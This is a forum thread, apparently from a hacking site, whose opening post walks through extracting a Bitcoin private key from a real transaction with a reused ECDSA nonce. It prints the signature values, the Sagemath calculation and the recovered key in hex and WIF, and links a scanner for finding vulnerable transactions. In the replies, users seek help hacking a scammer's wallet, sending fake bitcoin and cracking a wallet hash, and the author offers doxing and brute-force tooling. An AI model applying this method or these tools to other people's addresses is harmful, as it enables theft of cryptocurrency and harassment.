This is an old vulnerability but still is around. Not many bitcoin companies/wallets will re-use values these days when signing transactions, but people who are creating new copies of old coins and wallets generally don’t know about this vulnerability. While researching this, I discovered that a lot of Russian bitcoin hackers have coded bots to automatically grab coins from vulnerable addresses of this type and others as mentioned at the beginning of this tutorial. Edit (07/01/2020): It seems 2coin.org has been down for quite a long time and no one seemed to have informed me. We have Sean Bradley (the original owner of 2coin.org) to thank for managing to create another version of the same website. Head over to https://2xoin.com/getRSZfromRawTX/ to find the values. Edit (03/12/2020): Please make sure to read Cryptocurrency: Frequently Asked Questions if your soul purpose of visit here is to recover bitcoin or anything in that matter. Edit (26/12/2020): I don't have an infinite amount of time but I will try my best to help when I am free to do so. If you need my help, register, reply to this thread or make a new thread. I will make sure to reply as soon as possible. 🙂 Edit (23/12/2020): I have created a Web Socket listener for bitcoin transactions to test this vulnerability. Here is the link: https://avalerionv.github.io . You only need to navigate to the website and keep it running in the browser. If the script finds any vulnerable transaction, it will be displayed on the page. Although I had no luck with scanning 1,000,000 new transactions, you may try it to test your luck. Source: https://github.com/AvalerionV/avalerionv.github.io Edit (11/11/2020): For those interested in studying this vulnerability here is a more complete proof-of-concept version of the same method in Python: https://github.com/daedalus/bitcoin-recover-privkey/blob/master/ProofOfConcept.py Here are some ways that a bitcoin address or wallet may be vulnerable: A private key is created with a common password such as “123456”. A simple copy/paste mistake. A transaction is created with non-standard outputs. A random number generator was used wrong or produced the same output. The private key was posted publicly. We are going to be talking about a transaction with a broken random number generator (string). These addresses re-use certain values in a transaction due to poor knowledge, programming errors, or a broken random number generator. Take a look at this transaction: https://blockchain.info/tx/9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1 There are two inputs and one output in this script. This is alright. Inputs are pointers to outputs of previous transactions. Outputs are, at the basic, an amount and an address. Taking a closer look at the inputs of these scripts we notice that they are similar. ScriptSig: PUSHDATA(71)[30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e01] PUSHDATA(65)[04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff] ScriptSig: PUSHDATA(71)[30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab01] PUSHDATA(65)[04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff] The beginning of the scripts contain the signatures (defined as ‘r’ and ‘s’). The end of the script is the hex public key. So we have: r1: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1 r2: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1 s1: 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e s2: 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab It turns out that the r values in the scripts are exactly the same. This means we can derive the private key. Now for some math equations: Bitcoin Private Key = (z1*s2 - z2*s1)/(r*(s1-s2)) We have the r and s values, now we need to find the z1 and z2 values. Go here: https://2coin.org/ Enter in our transaction ID: 9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1 Scroll down to find the z values. We find: z1 = c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e z2 = 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc Bitcoin uses an elliptical curve for generating public keys. The order of the curve is secp256k1. p = parameter for the secp256k1 curve. So p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 We will need to create a finite field for the calculation. K = GF(p) Now that we have all the information we need, we can run our calculations. We’ll use Sagemath: http://www.sagemath.org/ I will be using the cloud version. Make sure you input all of our equations: p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 r = 0xd47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1 s1 = 0x44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e s2 = 0x9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab z1 = 0xc0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e z2 = 0x17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc K = GF(p) K((z1*s2 - z2*s1)/(r*(s1-s2))) Click run. The calculation outputs: 88865298299719117682218467295833367085649033095698151055007620974294165995414 Now we will convert it from decimal to hex. You can do so here: https://www.rapidtables.com/convert/number/decimal-to-hex.html Our private key in hex is: C477F9F65C22CCE20657FAA5B2D1D8122336F851A508A1ED04E479C34985BF96 You can use our official tool ( Project Xerotic ) to convert private key in hex to WIF (wallet import format): https://flaw.tech/d/60-project-xerotic-v003-beta0-bitcoin-dumper-utility Our private key in WIF is: 5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ Hope this tutorial sparks some interest in people!

Good day. I trust you are well. I need your help and guidance. I have been scammed out of money. $22Kusd to be excact and left with little else to provide for my single mom. All i have is this companies bitcoin wallet address. I need your help not only to take back what is mine but put an end to this scam company that probably has done this to many others. I might not be able to pay upfront but if we can hack into their account wallet and retrieve my money i will give you a reward of 20%... please i need your help.😓😿😭

ALDODAMON I am very sorry this happened with you. Is this company local or international? There is is not much that I can do with reversing transaction since bitcoin by design does not allow you to do that. However, I can help with doxing the scammer if proven he/she has indeed scammed you. You may be able get your funds back through legal process by contacting higher authority. But first I need more information from you. Please setup private messaging for your account so we can chat privately here. Our chat will be end-to-end encrypted. Please read the following discussion on how to setup private messaging: https://flaw.tech/d/13-how-to-setup-private-messaging-for-your-account

How I Hacked a Bitcoin Wallet

ALDODAMON

Dawood no problem. Is it possible to send fake bitcoin to any bitcoin wallet for period of time?? Coz these ppl are holding my package hostage and i want them to just have the account reflect so they can deliver my package? Please help

Dawood

ALDODAMON You can send a fake transaction. But they will not confirm. These transactions are confirmed by multiple nodes. Even if one node lets it through, others won't.

~~You can also send bitcoins more than once which is often referred to as ‘double-spending.’ The last transaction to confirm will never confirm.~~ This vulnerability is also patched now. 😃

ttung

Hello DawoodKMasood,
I tried to open the website https://avalerionv.github.io, but it didn't display. Can you fix it?
The same issue with https://2coin.org/. So I can not test your tutorial 🙁

Dawood

ttung Sorry about that. I had removed the page. Download the HTML file from the Github repository and run it locally on your personal computer. There's no setup required. 🙂

And use https://2xoin.com instead of ~~https://2coin.org~~.

ttung

Dawood Got it. Thank you so much. 🙂

Dawood

ttung No problem. Glad I could help. 🙂

ttung

Dawood Could you explain more about how did you get P? (p = parameter for the secp256k1 curve. So
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141). I don't understand this point. Thank you 🙂

Malta9

I like what you're doing here, so I'm replying about a blockchain watch only address of mine. I need to retrieve the private key but have always hit a dead end. I saw that you were able to retrieve a key in this thread, so i wonder if you could help me retrieve a private key for my watch only address. Thanks!

Dawood

Malta9 I was able to retrieve key because I got lucky and the method at the time worked. You could bruteforce the private key of a particular wallet but I doubt it will be easy.

MariusB69

Good day, I have read your article about how you hacked a bitcoin wallet but I have to be honest it is all greek to me. I am from South Africa and this year myself and some friends and connections have been scammed by various scammers. I have a financial background so this might explain my lack of technical knowledge.
I have now reached a point where I seriously have had enough of these scammers. You have tried to acquire the services of a some recovery specialists but they are just too greedy for my liking. My philosophy is you must be paid based on your performance not some flat rate or hourly rate.
I belief there is a huge opportunity in the market for someone to provide a service to people whom have been scammed. I want to give it a go but I seriously need some help and from what I have found I think you are just the person I have been searching for. I have a forensic background as well but this was while I worked in the banking and logistics industries and it was fiat currencies which can be traced easier than crypto. I would really love to see if we can strike some kind of partnership or even if you would just be willing to provide me with some training.

Dawood

MariusB69 Hello, yes, I agree. Please use the private message feature and contact me. 🙂

viktor55

hello, could you please me for urine there are two wallets I had passwords for them there is a hash

Dawood

viktor55 I am sorry but you make no sense. I don't understand what you are trying to say.

plebora

That is a very interesting post, Dawood. I tried to send you a direct message, but I am not sure, if it worked. We'll see. Ignore that. Different Browser and now I can setup Direct Messaging properly. Never mind.

Dawood

plebora I have replied to you in private messages. Please check.

viktor55

$bitcoin$96$3fa8554bcc7f1adb4dee43327a2680be93112f8c11e9cbff7561038eddf258827dd38c72354695fc70d4a01102d22c48$16$14bff2455913f62c$25000$96$ad32dfdce53d6c1c7beb7c25f6c2a2730dc136201fe2423f57745743a5d78711b25c0c49c05092af9b8af506da74d066$130$04ffc8348b3538d3a865c4c0c359a7b4eefa687f2ecffda0aa763b58143df7d7ee7cbdbd62ce9fe6608e6c959c406cee192e35a4838e4f2f923d417ff09d0fd6ad

Вот несколько адресов в бумажнике:
https://blockchain.info/address/14PEUoKuRB9Q7yfS94cRXh2XugsrBxbxAo
https://blockchain.info/address/189AfNrrK4a25SKtkwjdF2TZfXmnGt4PcZ

Вещи, которые я пробовал до сих пор:
?d 1-9 все комбинации цифр до 9 символов
?l 1-7 все комбинации символов нижнего регистра до 7 символов
?a 1-6 все комбинации всех ascii до 6 символов
рок-ты.txt + best64 / d3ad0ne / погружение
weakpass2a + best64

Dawood

viktor55 You will have more chance of finding something with Plutus (https://github.com/Isaacdelly/Plutus) than to manually crack a wallet. But good luck none the less.

viktor55

please tell me how to find the second R

Dawood

viktor55 It seems 2coin.org has been down for quite a long time and no one seemed to have informed me. We have Sean Bradley (the original owner of 2coin.org) to thank for managing to create another version of the same website. Head over to https://2xoin.com/getRSZfromRawTX/ to find the values.

Example:

viktor55

76a9149337a86655693682974cb37b857c845f4b016f6a88ac
Sigscript
483045022100d654498ffbbbf27580149957a7159e5810745aace57314a4f572da8405cd2bce02200a1f3125b360fbe413dbbd87312dcee683f909313f8af7001e57e9af4eee63f301410407585375338cb33f26850a3a50b0caa769fcc42fcbed94de453beaee30caa094c27a2e2c9e3a713380a5eac3e3cb91e2db46e9ad178cb177d201464c265792da
Witness
N/A
Индекс
1
Подробности
Выход
Адрес
1ERR1NZ6Z9mewbrwENcCTBQujDsdktgdnG
Стоимость
0.00100000 BTC
Pkscript
76a9149337a86655693682974cb37b857c845f4b016f6a88ac
Sigscript
48304502204c83e8323fe53c119ef43a063ef0ec958391cc546485daf76b88ecf6cdfbf0f6022100db7e6ff19c1ebdfc22c6d7263f1106e4d98937550d7391b18b0142b78bf12a6f01410407585375338cb33f26850a3a50b0caa769fcc42fcbed94de453beaee30caa094c27a2e2c9e3a713380a5eac3e3cb91e2db46e9ad178cb177d201464c265792da
{
"sigR": "00d654498ffbbbf27580149957a7159e5810745aace57314a4f572da8405cd2bce",
"sigS": "0a1f3125b360fbe413dbbd87312dcee683f909313f8af7001e57e9af4eee63f3",
"sigZ": "c00cd1bc2873ad56e80343c516bbfcd2ed974616f7617751a8806dbe0032e90a",
"pubKey": "0407585375338cb33f26850a3a50b0caa769fcc42fcbed94de453beaee30caa094c27a2e2c9e3a713380a5eac3e3cb91e2db46e9ad178cb177d201464c265792da",
"N": 0
},
{
"sigR": "4c83e8323fe53c119ef43a063ef0ec958391cc546485daf76b88ecf6cdfbf0f6",
"sigS": "00db7e6ff19c1ebdfc22c6d7263f1106e4d98937550d7391b18b0142b78bf12a6f",
"sigZ": "9d361d548ad84bb018763f228750ebfac8b5373540226ff01c21a75a8cfd0763",
"pubKey": "0407585375338cb33f26850a3a50b0caa769fcc42fcbed94de453beaee30caa094c27a2e2c9e3a713380a5eac3e3cb91e2db46e9ad178cb177d201464c265792da",
"N": 1
}
]

Dawood

viktor55 If the input signature don't match then it is not vulnerable. 🙂

And please try to write in English. I don't understand Russian, sadly. 😅

Dawood

Mavricktn I believe you are asking the same thing as viktor55. If so, then read my reply to him.

viktor55

пожалуйста, скажите мне, как найти второй R